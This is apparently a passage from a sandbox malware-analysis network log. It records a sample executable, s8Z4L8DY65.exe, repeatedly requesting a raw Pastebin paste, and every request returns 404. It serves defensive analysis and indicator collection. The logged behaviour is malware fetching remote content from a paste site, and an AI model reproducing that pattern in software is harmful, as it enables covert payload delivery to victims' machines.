2024-07-02 14:30:53 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	54814	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:54 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:54 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 98 Server: cloudflare CF-RAY: 89cf561f0a6341cd-EWR
2024-07-02 14:30:54 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	54815	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:55 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:55 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 99 Server: cloudflare CF-RAY: 89cf56234ef5c44d-EWR
2024-07-02 14:30:55 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	54816	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:55 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:55 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 99 Server: cloudflare CF-RAY: 89cf56277d4a43b7-EWR
2024-07-02 14:30:55 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	54817	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:56 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:56 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 100 Server: cloudflare CF-RAY: 89cf562b9cd518d0-EWR
2024-07-02 14:30:56 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	54818	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:57 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:57 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 101 Server: cloudflare CF-RAY: 89cf56310f047ce2-EWR
2024-07-02 14:30:57 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	54819	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:58 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:58 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 102 Server: cloudflare CF-RAY: 89cf56352a270f53-EWR
2024-07-02 14:30:58 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	54820	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:58 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:58 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 102 Server: cloudflare CF-RAY: 89cf5639cd2e425f-EWR
2024-07-02 14:30:58 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	54821	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:59 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:59 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 103 Server: cloudflare CF-RAY: 89cf563df8fb7ca8-EWR
2024-07-02 14:30:59 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	54822	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:00 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:00 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 104 Server: cloudflare CF-RAY: 89cf56425be94407-EWR
2024-07-02 14:31:00 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	54823	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:00 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:00 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 104 Server: cloudflare CF-RAY: 89cf56467ba842ce-EWR
2024-07-02 14:31:00 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	54824	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:01 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:01 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 105 Server: cloudflare CF-RAY: 89cf564c2a35c333-EWR
2024-07-02 14:31:01 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	54825	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:02 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:02 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 106 Server: cloudflare CF-RAY: 89cf565059b780e2-EWR
2024-07-02 14:31:02 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, 